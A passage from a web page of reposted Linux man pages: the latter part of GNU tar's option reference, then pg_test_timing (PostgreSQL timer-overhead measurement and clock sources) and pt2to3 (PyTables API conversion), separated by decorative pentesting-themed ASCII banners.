Test the archive volume label and exit. When used without arguments, it prints the volume label (if any) and exits with status 0. When one or more command line arguments are given. tar compares the volume label with each argument. It exits with code 0 if a match is found, and with code 1 otherwise. No output is displayed, unless used together with the -v (–verbose) option.

There is no short option equivalent for this option.

-u, –update
Append files which are newer than the corresponding copy in the archive. Arguments have the same meaning as with the -c and -r options. Notice, that newer files don’t replace their old archive copies, but instead are appended to the end of archive. The resulting archive can thus contain several members of the same name, corresponding to various versions of the same file.

-x, –extract, –get
Extract files from an archive. Arguments are optional. When given, they specify names of the archive members to be extracted.

–show-defaults
Show built-in defaults for various tar options and exit.

-?, –help
Display a short option summary and exit.

–usage
Display a list of available options and exit.

–version
Print program version and copyright information and exit.

OPTIONS

Operation modifiers

–check-device
Check device numbers when creating incremental archives (default).

-g, –listed-incremental=FILE
Handle new GNU-format incremental backups. FILE is the name of a snapshot file, where tar stores additional information which is used to decide which files changed since the previous incremental dump and, consequently, must be dumped again. If FILE does not exist when creating an archive, it will be created and all files will be added to the resulting archive (the level 0 dump). To create incremental archives of non-zero level N, you need a copy of the snapshot file created for level N-1, and use it as FILE.

When listing or extracting, the actual content of FILE is not inspected, it is needed only due to syntactical requirements. It is therefore common practice to use /dev/null in its place.

–hole-detection=METHOD
Use METHOD to detect holes in sparse files. This option implies –sparse. Valid values for METHOD are seek and raw. Default is seek with fallback to raw when not applicable.

-G, –incremental
Handle old GNU-format incremental backups.

–ignore-failed-read
Do not exit with nonzero on unreadable files.

–level=NUMBER
Set dump level for a created listed-incremental archive. Currently only –level=0 is meaningful: it instructs tar to truncate the snapshot file before dumping, thereby forcing a level 0 dump.

-n, –seek
Assume the archive is seekable. Normally tar determines automatically whether the archive can be seeked or not. This option is intended for use in cases when such recognition fails. It takes effect only if the archive is open for reading (e.g. with –list or –extract options).

–no-check-device
Do not check device numbers when creating incremental archives.

–no-seek
Assume the archive is not seekable.

–occurrence[=N]
Process only the Nth occurrence of each file in the archive. This option is valid only when used with one of the following subcommands: –delete, –diff, –extract or –list and when a list of files is given either on the command line or via the -T option. The default N is 1.

–restrict
Disable the use of some potentially harmful options.

–sparse-version=MAJOR[.MINOR]
Set which version of the sparse format to use. This option implies –sparse. Valid argument values are 0.0, 0.1, and 1.0. For a detailed discussion of sparse formats, refer to the GNU Tar Manual, appendix D, “Sparse Formats”. Using the info reader, it can be accessed running the following command: info tar ‘Sparse Formats’.

-S, –sparse
Handle sparse files efficiently. Some files in the file system may have segments which were actually never written (quite often these are database files created by such systems as DBM). When given this option, tar attempts to determine if the file is sparse prior to archiving it, and if so, to reduce the resulting archive size by not dumping empty parts of the file.

Overwrite control

These options control tar actions when extracting a file over an existing copy on disk.

-k, –keep-old-files
Don’t replace existing files when extracting.

–keep-newer-files
Don’t replace existing files that are newer than their archive copies.

–keep-directory-symlink
Don’t replace existing symlinks to directories when extracting.

–no-overwrite-dir
Preserve metadata of existing directories.

–one-top-level[**=**DIR]
Extract all files into DIR, or, if used without argument, into a subdirectory named by the base name of the archive (minus standard compression suffixes recognizable by –auto-compress).

–overwrite
Overwrite existing files when extracting.

–overwrite-dir
Overwrite metadata of existing directories when extracting (default).

–recursive-unlink
Recursively remove all files in the directory prior to extracting it.

–remove-files
Remove files from disk after adding them to the archive.

–skip-old-files
Don’t replace existing files when extracting, silently skip over them.

-U, –unlink-first
Remove each file prior to extracting over it.

-W, –verify
Verify the archive after writing it.

Output stream selection

–ignore-command-error
Ignore subprocess exit codes.

–no-ignore-command-error
Treat non-zero exit codes of children as error (default).

-O, –to-stdout
Extract files to standard output.

–to-command=COMMAND
Pipe extracted files to COMMAND. The argument is the pathname of an external program, optionally with command line arguments. The program will be invoked and the contents of the file being extracted supplied to it on its standard input. Additional data will be supplied via the following environment variables:

TAR_FILETYPE
Type of the file. It is a single letter with the following meaning:

	f	Regular file
	d	Directory
	l	Symbolic link
	h	Hard link
	b	Block device
	c	Character device

Currently only regular files are supported.

TAR_MODE
File mode, an octal number.

TAR_FILENAME
The name of the file.

TAR_REALNAME
Name of the file as stored in the archive.

TAR_UNAME
Name of the file owner.

TAR_GNAME
Name of the file owner group.

TAR_ATIME
Time of last access. It is a decimal number, representing seconds since the Epoch. If the archive provides times with nanosecond precision, the nanoseconds are appended to the timestamp after a decimal point.

TAR_MTIME
Time of last modification.

TAR_CTIME
Time of last status change.

TAR_SIZE
Size of the file.

TAR_UID
UID of the file owner.

TAR_GID
GID of the file owner.

Additionally, the following variables contain information about tar operation mode and the archive being processed:

TAR_VERSION
GNU tar version number.

TAR_ARCHIVE
The name of the archive tar is processing.

TAR_BLOCKING_FACTOR
Current blocking factor, i.e. number of 512-byte blocks in a record.

TAR_VOLUME
Ordinal number of the volume tar is processing (set if reading a multi-volume archive).

TAR_FORMAT
Format of the archive being processed. One of: gnu, oldgnu, posix, ustar, v7.

TAR_SUBCOMMAND
A short option (with a leading dash) describing the operation tar is executing.

Handling of file attributes

–atime-preserve[=METHOD]
Preserve access times on dumped files, either by restoring the times after reading (METHOD=replace, this is the default) or by not setting the times in the first place (METHOD=system).

–delay-directory-restore
Delay setting modification times and permissions of extracted directories until the end of extraction. Use this option when extracting from an archive which has unusual member ordering.

–group=NAME[:GID]
Force NAME as group for added files. If GID is not supplied, NAME can be either a user name or numeric GID. In this case the missing part (GID or name) will be inferred from the current host’s group database.

When used with –group-map=FILE, affects only those files whose owner group is not listed in FILE.

–group-map=FILE
Read group translation map from FILE. Empty lines are ignored. Comments are introduced with # sign and extend to the end of line. Each non-empty line in FILE defines translation for a single group. It must consist of two fields, delimited by any amount of whitespace:

OLDGRP NEWGRP[:NEWGID]

OLDGRP is either a valid group name or a GID prefixed with +. Unless NEWGID is supplied, NEWGRP must also be either a valid group name or a **+**GID. Otherwise, both NEWGRP and NEWGID need not be listed in the system group database.

As a result, each input file with owner group OLDGRP will be stored in archive with owner group NEWGRP and GID NEWGID.

–mode=CHANGES
Force symbolic mode CHANGES for added files.

–mtime=DATE-OR-FILE
Set mtime for added files. DATE-OR-FILE is either a date/time in almost arbitrary format, or the name of an existing file. In the latter case the mtime of that file will be used.

-m, –touch
Don’t extract file modified time.

–no-delay-directory-restore
Cancel the effect of the prior –delay-directory-restore option.

–no-same-owner
Extract files as yourself (default for ordinary users).

–no-same-permissions
Apply the user’s umask when extracting permissions from the archive (default for ordinary users).

–numeric-owner
Always use numbers for user/group names.

–owner=NAME[:UID]
Force NAME as owner for added files. If UID is not supplied, NAME can be either a user name or numeric UID. In this case the missing part (UID or name) will be inferred from the current host’s user database.

When used with –owner-map=FILE, affects only those files whose owner is not listed in FILE.

–owner-map=FILE
Read owner translation map from FILE. Empty lines are ignored. Comments are introduced with # sign and extend to the end of line. Each non-empty line in FILE defines translation for a single UID. It must consist of two fields, delimited by any amount of whitespace:

OLDUSR NEWUSR[:NEWUID]

OLDUSR is either a valid user name or a UID prefixed with +. Unless NEWUID is supplied, NEWUSR must also be either a valid user name or a **+**UID. Otherwise, both NEWUSR and NEWUID need not be listed in the system user database.

As a result, each input file owned by OLDUSR will be stored in archive with owner name NEWUSR and UID NEWUID.

-p, –preserve-permissions, –same-permissions
Set permissions of extracted files to those recorded in the archive (default for superuser).

–same-owner
Try extracting files with the same ownership as exists in the archive (default for superuser).

-s, –preserve-order, –same-order
Tell tar that the list of file names to process is sorted in the same order as the files in the archive.

**–sort=**ORDER
When creating an archive, sort directory entries according to ORDER, which is one of none, name, or inode.

The default is –sort=none, which stores archive members in the same order as returned by the operating system.

Using –sort=name ensures the member ordering in the created archive is uniform and reproducible.

Using –sort=inode reduces the number of disk seeks made when creating the archive and thus can considerably speed up archivation. This sorting order is supported only if the underlying system provides the necessary information.

Extended file attributes

–acls
Enable POSIX ACLs support.

–no-acls
Disable POSIX ACLs support.

–selinux
Enable SELinux context support.

–no-selinux
Disable SELinux context support.

–xattrs
Enable extended attributes support.

–no-xattrs
Disable extended attributes support.

**–xattrs-exclude=**PATTERN
Specify the exclude pattern for xattr keys. PATTERN is a globbing pattern, e.g. –xattrs-exclude=‘user.*’ to include only attributes from the user namespace.

**–xattrs-include=**PATTERN
Specify the include pattern for xattr keys. PATTERN is a globbing pattern.

Device selection and switching

-f, –file=ARCHIVE
Use archive file or device ARCHIVE. If this option is not given, tar will first examine the environment variable `TAPE’. If it is set, its value will be used as the archive name. Otherwise, tar will assume the compiled-in default. The default value can be inspected either using the –show-defaults option, or at the end of the tar –help output.

An archive name that has a colon in it specifies a file or device on a remote machine. The part before the colon is taken as the machine name or IP address, and the part after it as the file or device pathname, e.g.:

--file=remotehost:/dev/sr0

An optional username can be prefixed to the hostname, placing a @ sign between them.

By default, the remote host is accessed via the rsh(1) command. Nowadays it is common to use ssh(1) instead. You can do so by giving the following command line option:

--rsh-command=/usr/bin/ssh

The remote machine should have the rmt(8) command installed. If its pathname does not match tar’s default, you can inform tar about the correct pathname using the –rmt-command option.

–force-local
Archive file is local even if it has a colon.

-F, –info-script=COMMAND, –new-volume-script=COMMAND
Run COMMAND at the end of each tape (implies -M). The command can include arguments. When started, it will inherit tar’s environment plus the following variables:

TAR_VERSION
GNU tar version number.

TAR_ARCHIVE
The name of the archive tar is processing.

TAR_BLOCKING_FACTOR
Current blocking factor, i.e. number of 512-byte blocks in a record.

TAR_VOLUME
Ordinal number of the volume tar is processing (set if reading a multi-volume archive).

TAR_FORMAT
Format of the archive being processed. One of: gnu, oldgnu, posix, ustar, v7.

TAR_SUBCOMMAND
A short option (with a leading dash) describing the operation tar is executing.

TAR_FD
File descriptor which can be used to communicate the new volume name to tar.

If the info script fails, tar exits; otherwise, it begins writing the next volume.

-L, –tape-length=N
Change tape after writing Nx1024 bytes. If N is followed by a size suffix (see the subsection Size suffixes below), the suffix specifies the multiplicative factor to be used instead of 1024.

This option implies -M.

-M, –multi-volume
Create/list/extract multi-volume archive.

–rmt-command=COMMAND
Use COMMAND instead of rmt when accessing remote archives. See the description of the -f option, above.

–rsh-command=COMMAND
Use COMMAND instead of rsh when accessing remote archives. See the description of the -f option, above.

–volno-file=FILE
When this option is used in conjunction with –multi-volume, tar will keep track of which volume of a multi-volume archive it is working in FILE.

Device blocking

-b, –blocking-factor=BLOCKS
Set record size to BLOCKSx512 bytes.

-B, –read-full-records
When listing or extracting, accept incomplete input records after end-of-file marker.

-i, –ignore-zeros
Ignore zeroed blocks in archive. Normally two consecutive 512-blocks filled with zeroes mean EOF and tar stops reading after encountering them. This option instructs it to read further and is useful when reading archives created with the -A option.

–record-size=NUMBER
Set record size. NUMBER is the number of bytes per record. It must be multiple of 512. It can can be suffixed with a size suffix, e.g. –record-size=10K, for 10 Kilobytes. See the subsection Size suffixes, for a list of valid suffixes.

Archive format selection

-H, –format=FORMAT
Create archive of the given format. Valid formats are:

gnu
GNU tar 1.13.x format

oldgnu
GNU format as per tar <= 1.12.

pax, posix
POSIX 1003.1-2001 (pax) format.

ustar
POSIX 1003.1-1988 (ustar) format.

v7
Old V7 tar format.

–old-archive, –portability
Same as –format=v7.

–pax-option=keyword[[:]=value][,keyword[[:]=value]]…
Control pax keywords when creating PAX archives (-H pax). This option is equivalent to the -o option of the pax(1) utility.

–posix
Same as –format=posix.

-V, –label=TEXT
Create archive with volume name TEXT. If listing or extracting, use TEXT as a globbing pattern for volume name.

Compression options

-a, –auto-compress
Use archive suffix to determine the compression program.

-I, –use-compress-program*=COMMAND*
Filter data through COMMAND. It must accept the -d option, for decompression. The argument can contain command line options.

-j, –bzip2
Filter the archive through bzip2(1).

-J, –xz
Filter the archive through xz(1).

–lzip
Filter the archive through lzip(1).

–lzma
Filter the archive through lzma(1).

–lzop
Filter the archive through lzop(1).

–no-auto-compress
Do not use archive suffix to determine the compression program.

-z, –gzip, –gunzip, –ungzip
Filter the archive through gzip(1).

-Z, –compress, –uncompress
Filter the archive through compress(1).

–zstd
Filter the archive through zstd(1).

Local file selection

–add-file=FILE
Add FILE to the archive (useful if its name starts with a dash).

–backup[=CONTROL]
Backup before removal. The CONTROL argument, if supplied, controls the backup policy. Its valid values are:

none, off
Never make backups.

t, numbered
Make numbered backups.

nil, existing
Make numbered backups if numbered backups exist, simple backups otherwise.

never, simple
Always make simple backups

If CONTROL is not given, the value is taken from the VERSION_CONTROL environment variable. If it is not set, existing is assumed.

-C, –directory=DIR
Change to DIR before performing any operations. This option is order-sensitive, i.e. it affects all options that follow.

–exclude=PATTERN
Exclude files matching PATTERN, a glob(3)-style wildcard pattern.

–exclude-backups
Exclude backup and lock files.

–exclude-caches
Exclude contents of directories containing file CACHEDIR.TAG, except for the tag file itself.

–exclude-caches-all
Exclude directories containing file CACHEDIR.TAG and the file itself.

–exclude-caches-under
Exclude everything under directories containing CACHEDIR.TAG

**–exclude-ignore=**FILE
Before dumping a directory, see if it contains FILE. If so, read exclusion patterns from this file. The patterns affect only the directory itself.

**–exclude-ignore-recursive=**FILE
Same as –exclude-ignore, except that patterns from FILE affect both the directory and all its subdirectories.

–exclude-tag=FILE
Exclude contents of directories containing FILE, except for FILE itself.

–exclude-tag-all=FILE
Exclude directories containing FILE.

–exclude-tag-under=FILE
Exclude everything under directories containing FILE.

–exclude-vcs
Exclude version control system directories.

–exclude-vcs-ignores
Exclude files that match patterns read from VCS-specific ignore files. Supported files are: .cvsignore, .gitignore, .bzrignore, and .hgignore.

-h, –dereference
Follow symlinks; archive and dump the files they point to.

–hard-dereference
Follow hard links; archive and dump the files they refer to.

-K, –starting-file=MEMBER
Begin at the given member in the archive.

–newer-mtime=DATE
Work on files whose data changed after the DATE. If DATE starts with / or . it is taken to be a file name; the mtime of that file is used as the date.

–no-null
Disable the effect of the previous –null option.

–no-recursion
Avoid descending automatically in directories.

–no-unquote
Do not unquote input file or member names.

–no-verbatim-files-from
Treat each line read from a file list as if it were supplied in the command line. I.e., leading and trailing whitespace is removed and, if the resulting string begins with a dash, it is treated as tar command line option.

This is the default behavior. The –no-verbatim-files-from option is provided as a way to restore it after –verbatim-files-from option.

This option is positional: it affects all –files-from options that occur after it in, until –verbatim-files-from option or end of line, whichever occurs first.

It is implied by the –no-null option.

–null
Instruct subsequent -T options to read null-terminated names verbatim (disables special handling of names that start with a dash).

See also –verbatim-files-from.

-N, –newer=DATE, –after-date=DATE
Only store files newer than DATE. If DATE starts with / or . it is taken to be a file name; the mtime of that file is used as the date.

–one-file-system
Stay in local file system when creating archive.

-P, –absolute-names
Don’t strip leading slashes from file names when creating archives.

–recursion
Recurse into directories (default).

–suffix=STRING
Backup before removal, override usual suffix. Default suffix is ~, unless overridden by environment variable SIMPLE_BACKUP_SUFFIX.

-T, –files-from=FILE
Get names to extract or create from FILE.

Unless specified otherwise, the FILE must contain a list of names separated by ASCII LF (i.e. one name per line). The names read are handled the same way as command line arguments. They undergo quote removal and word splitting, and any string that starts with a - is handled as tar command line option.

If this behavior is undesirable, it can be turned off using the –verbatim-files-from option.

The –null option instructs tar that the names in FILE are separated by ASCII NUL character, instead of LF. It is useful if the list is generated by find(1) -print0 predicate.

–unquote
Unquote file or member names (default).

–verbatim-files-from
Treat each line obtained from a file list as a file name, even if it starts with a dash. File lists are supplied with the –files-from (-T) option. The default behavior is to handle names supplied in file lists as if they were typed in the command line, i.e. any names starting with a dash are treated as tar options. The –verbatim-files-from option disables this behavior.

This option affects all –files-from options that occur after it in the command line. Its effect is reverted by the –no-verbatim-files-from option.

This option is implied by the –null option.

See also –add-file.

-X, –exclude-from=FILE
Exclude files matching patterns listed in FILE.

File name transformations

–strip-components=NUMBER
Strip NUMBER leading components from file names on extraction.

–transform=EXPRESSION, –xform=EXPRESSION
Use sed replace EXPRESSION to transform file names.

File name matching options

These options affect both exclude and include patterns.

–anchored
Patterns match file name start.

–ignore-case
Ignore case.

–no-anchored
Patterns match after any / (default for exclusion).

–no-ignore-case
Case sensitive matching (default).

–no-wildcards
Verbatim string matching.

–no-wildcards-match-slash
Wildcards do not match /.

–wildcards
Use wildcards (default for exclusion).

–wildcards-match-slash
Wildcards match / (default for exclusion).

Informative output

–checkpoint[=N]
Display progress messages every Nth record (default 10).

–checkpoint-action=ACTION
Run ACTION on each checkpoint.

–clamp-mtime
Only set time when the file is more recent than what was given with –mtime.

–full-time
Print file time to its full resolution.

–index-file=FILE
Send verbose output to FILE.

-l, –check-links
Print a message if not all links are dumped.

–no-quote-chars=STRING
Disable quoting for characters from STRING.

–quote-chars=STRING
Additionally quote characters from STRING.

–quoting-style=STYLE
Set quoting style for file and member names. Valid values for STYLE are literal, shell, shell-always, c, c-maybe, escape, locale, clocale.

-R, –block-number
Show block number within archive with each message.

–show-omitted-dirs
When listing or extracting, list each directory that does not match search criteria.

–show-transformed-names, –show-stored-names
Show file or archive names after transformation by –strip and –transform options.

–totals[=SIGNAL]
Print total bytes after processing the archive. If SIGNAL is given, print total bytes when this signal is delivered. Allowed signals are: SIGHUP, SIGQUIT, SIGINT, SIGUSR1, and SIGUSR2. The SIG prefix can be omitted.

–utc
Print file modification times in UTC.

-v, –verbose
Verbosely list files processed. Each instance of this option on the command line increases the verbosity level by one. The maximum verbosity level is 3. For a detailed discussion of how various verbosity levels affect tar’s output, please refer to GNU Tar Manual, subsection 2.5.2 “The ‘–verbose’ Option”.

–warning=KEYWORD
Enable or disable warning messages identified by KEYWORD. The messages are suppressed if KEYWORD is prefixed with no- and enabled otherwise.

Multiple –warning options accumulate.

Keywords controlling general tar operation:

all
Enable all warning messages. This is the default.

none
Disable all warning messages.

filename-with-nuls
“%s: file name read contains nul character”

alone-zero-block
“A lone zero block at %s”

Keywords applicable for tar –create:

cachedir
“%s: contains a cache directory tag %s; %s”

file-shrank
“%s: File shrank by %s bytes; padding with zeros”

xdev
“%s: file is on a different filesystem; not dumped”

file-ignored
“%s: Unknown file type; file ignored”
“%s: socket ignored”
“%s: door ignored”

file-unchanged
“%s: file is unchanged; not dumped”

ignore-archive
“%s: archive cannot contain itself; not dumped”

file-removed
“%s: File removed before we read it”

file-changed
“%s: file changed as we read it”

failed-read
Suppresses warnings about unreadable files or directories. This keyword applies only if used together with the –ignore-failed-read option.

Keywords applicable for tar –extract:

existing-file
“%s: skipping existing file”

timestamp
“%s: implausibly old time stamp %s”
“%s: time stamp %s is %s s in the future”

contiguous-cast
“Extracting contiguous files as regular files”

symlink-cast
“Attempting extraction of symbolic links as hard links”

unknown-cast
“%s: Unknown file type ‘%c’, extracted as normal file”

ignore-newer
“Current %s is newer or same age”

unknown-keyword
“Ignoring unknown extended header keyword ‘%s’”

decompress-program
Controls verbose description of failures occurring when trying to run alternative decompressor programs. This warning is disabled by default (unless –verbose is used). A common example of what you can get when using this warning is:

$ tar --warning=decompress-program -x -f archive.Z
tar (child): cannot run compress: No such file or directory
tar (child): trying gzip

This means that tar first tried to decompress archive.Z using compress, and, when that failed, switched to gzip.

record-size
“Record size = %lu blocks”

Keywords controlling incremental extraction:

rename-directory
“%s: Directory has been renamed from %s”
“%s: Directory has been renamed”

new-directory
“%s: Directory is new”

xdev
“%s: directory is on a different device: not purging”

bad-dumpdir
“Malformed dumpdir: ‘X’ never used”

-w, –interactive, –confirmation
Ask for confirmation for every action.

Compatibility options

-o
When creating, same as –old-archive. When extracting, same as –no-same-owner.

Size suffixes

	Suffix	Units	Byte Equivalent
	b	Blocks	SIZE x 512
	B	Kilobytes	SIZE x 1024
	c	Bytes	SIZE
	G	Gigabytes	SIZE x 1024^3
	K	Kilobytes	SIZE x 1024
	k	Kilobytes	SIZE x 1024
	M	Megabytes	SIZE x 1024^2
	P	Petabytes	SIZE x 1024^5
	T	Terabytes	SIZE x 1024^4
	w	Words	SIZE x 2

RETURN VALUE

Tar’s exit code indicates whether it was able to successfully perform the requested operation, and if not, what kind of error occurred.

0
Successful termination.

1
Some files differ. If tar was invoked with the –compare (–diff, -d) command line option, this means that some files in the archive differ from their disk counterparts. If tar was given one of the –create, –append or –update options, this exit code means that some files were changed while being archived and so the resulting archive does not contain the exact copy of the file set.

2
Fatal error. This means that some fatal, unrecoverable error occurred.

If a subprocess that had been invoked by tar exited with a nonzero exit code, tar itself exits with that code as well. This can happen, for example, if a compression option (e.g. -z) was used and the external compressor program failed. Another example is rmt failure during backup to a remote device.

SEE ALSO

bzip2(1), compress(1), gzip(1), lzma(1), lzop(1), rmt(8), symlink(7), xz(1), zstd(1).

Complete tar manual: run info tar or use emacs(1) info mode to read it.

Online copies of GNU tar documentation in various formats can be found at:

https://www.gnu.org/software/tar/manual

BUG REPORTS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

995 - Linux cli command pg_test_timing

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_test_timing and provides detailed information about the command pg_test_timing, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_test_timing.

NAME 🖥️ pg_test_timing 🖥️

measure timing overhead

SYNOPSIS

pg_test_timing [option…]

DESCRIPTION

pg_test_timing is a tool to measure the timing overhead on your system and confirm that the system time never moves backwards. Systems that are slow to collect timing data can give less accurate EXPLAIN ANALYZE results.

OPTIONS

pg_test_timing accepts the following command-line options:

-d duration
**–duration=**duration

Specifies the test duration, in seconds. Longer durations give slightly better accuracy, and are more likely to discover problems with the system clock moving backwards. The default test duration is 3 seconds.

-V
–version

Print the pg_test_timing version and exit.

-?
–help

Show help about pg_test_timing command line arguments, and exit.

USAGE

Interpreting Results

Good results will show most (>90%) individual timing calls take less than one microsecond. Average per loop overhead will be even lower, below 100 nanoseconds. This example from an Intel i7-860 system using a TSC clock source shows excellent performance:

Testing timing overhead for 3 seconds. Per loop time including overhead: 35.96 ns Histogram of timing durations: < us % of total count 1 96.40465 80435604 2 3.59518 2999652 4 0.00015 126 8 0.00002 13 16 0.00000 2

Note that different units are used for the per loop time than the histogram. The loop can have resolution within a few nanoseconds (ns), while the individual timing calls can only resolve down to one microsecond (us).

Measuring Executor Timing Overhead

When the query executor is running a statement using EXPLAIN ANALYZE, individual operations are timed as well as showing a summary. The overhead of your system can be checked by counting rows with the psql program:

CREATE TABLE t AS SELECT * FROM generate_series(1,100000); iming SELECT COUNT() FROM t; EXPLAIN ANALYZE SELECT COUNT() FROM t;

The i7-860 system measured runs the count query in 9.8 ms while the EXPLAIN ANALYZE version takes 16.6 ms, each processing just over 100,000 rows. That 6.8 ms difference means the timing overhead per row is 68 ns, about twice what pg_test_timing estimated it would be. Even that relatively small amount of overhead is making the fully timed count statement take almost 70% longer. On more substantial queries, the timing overhead would be less problematic.

Changing Time Sources

On some newer Linux systems, its possible to change the clock source used to collect timing data at any time. A second example shows the slowdown possible from switching to the slower acpi_pm time source, on the same system used for the fast results above:

cat /sys/devices/system/clocksource/clocksource0/available_clocksource

tsc hpet acpi_pm
# echo acpi_pm > /sys/devices/system/clocksource/clocksource0/current_clocksource
# pg_test_timing
Per loop time including overhead: 722.92 ns
Histogram of timing durations:
  < us   % of total      count
     1     27.84870    1155682
     2     72.05956    2990371
     4      0.07810       3241
     8      0.01357        563
    16      0.00007          3

In this configuration, the sample EXPLAIN ANALYZE above takes 115.9 ms. Thats 1061 ns of timing overhead, again a small multiple of whats measured directly by this utility. That much timing overhead means the actual query itself is only taking a tiny fraction of the accounted for time, most of it is being consumed in overhead instead. In this configuration, any EXPLAIN ANALYZE totals involving many timed operations would be inflated significantly by timing overhead.

FreeBSD also allows changing the time source on the fly, and it logs information about the timer selected during boot:

dmesg | grep “Timecounter”

Timecounter "ACPI-fast" frequency 3579545 Hz quality 900
Timecounter "i8254" frequency 1193182 Hz quality 0
Timecounters tick every 10.000 msec
Timecounter "TSC" frequency 2531787134 Hz quality 800
# sysctl kern.timecounter.hardware=TSC
kern.timecounter.hardware: ACPI-fast -> TSC

Other systems may only allow setting the time source on boot. On older Linux systems the “clock” kernel setting is the only way to make this sort of change. And even on some more recent ones, the only option youll see for a clock source is “jiffies”. Jiffies are the older Linux software clock implementation, which can have good resolution when its backed by fast enough timing hardware, as in this example:

$ cat /sys/devices/system/clocksource/clocksource0/available_clocksource jiffies $ dmesg | grep time.c time.c: Using 3.579545 MHz WALL PM GTOD PIT/TSC timer. time.c: Detected 2400.153 MHz processor. $ pg_test_timing Testing timing overhead for 3 seconds. Per timing duration including loop overhead: 97.75 ns Histogram of timing durations: < us % of total count 1 90.23734 27694571 2 9.75277 2993204 4 0.00981 3010 8 0.00007 22 16 0.00000 1 32 0.00000 1

Clock Hardware and Timing Accuracy

Collecting accurate timing information is normally done on computers using hardware clocks with various levels of accuracy. With some hardware the operating systems can pass the system clock time almost directly to programs. A system clock can also be derived from a chip that simply provides timing interrupts, periodic ticks at some known time interval. In either case, operating system kernels provide a clock source that hides these details. But the accuracy of that clock source and how quickly it can return results varies based on the underlying hardware.

Inaccurate time keeping can result in system instability. Test any change to the clock source very carefully. Operating system defaults are sometimes made to favor reliability over best accuracy. And if you are using a virtual machine, look into the recommended time sources compatible with it. Virtual hardware faces additional difficulties when emulating timers, and there are often per operating system settings suggested by vendors.

The Time Stamp Counter (TSC) clock source is the most accurate one available on current generation CPUs. Its the preferred way to track the system time when its supported by the operating system and the TSC clock is reliable. There are several ways that TSC can fail to provide an accurate timing source, making it unreliable. Older systems can have a TSC clock that varies based on the CPU temperature, making it unusable for timing. Trying to use TSC on some older multicore CPUs can give a reported time thats inconsistent among multiple cores. This can result in the time going backwards, a problem this program checks for. And even the newest systems can fail to provide accurate TSC timing with very aggressive power saving configurations.

Newer operating systems may check for the known TSC problems and switch to a slower, more stable clock source when they are seen. If your system supports TSC time but doesnt default to that, it may be disabled for a good reason. And some operating systems may not detect all the possible problems correctly, or will allow using TSC even in situations where its known to be inaccurate.

The High Precision Event Timer (HPET) is the preferred timer on systems where its available and TSC is not accurate. The timer chip itself is programmable to allow up to 100 nanosecond resolution, but you may not see that much accuracy in your system clock.

Advanced Configuration and Power Interface (ACPI) provides a Power Management (PM) Timer, which Linux refers to as the acpi_pm. The clock derived from acpi_pm will at best provide 300 nanosecond resolution.

Timers used on older PC hardware include the 8254 Programmable Interval Timer (PIT), the real-time clock (RTC), the Advanced Programmable Interrupt Controller (APIC) timer, and the Cyclone timer. These timers aim for millisecond resolution.

SEE ALSO

EXPLAIN(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

996 - Linux cli command pt2to3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pt2to3 and provides detailed information about the command pt2to3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pt2to3.

NAME 🖥️ pt2to3 🖥️

PyTables 2.x -> 3.x API transition tool.

SYNOPSIS

pt2to3 [ OPTIONS ] filename

DESCRIPTION

This tool displays to standard out, so it is common to pipe this to another file: $ pt2to3 oldfile.py > newfile.py.

OPTIONS

A summary of options is included below.

-r, –reverse
Reverts changes, going from 3.x -> 2.x.

-p, –no-ignore-previous
Ignores previous_api() calls.

-o OUTPUT
Output file to write to..

-i, –inplace
Overwrites the file in-place.

-h
Print help on usage.

SEE ALSO

ptrepack(1),ptdump(1).
These utilities are documented fully by PyTables user’s manual.

AUTHOR

This manual page was written by Antonio Valentino <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
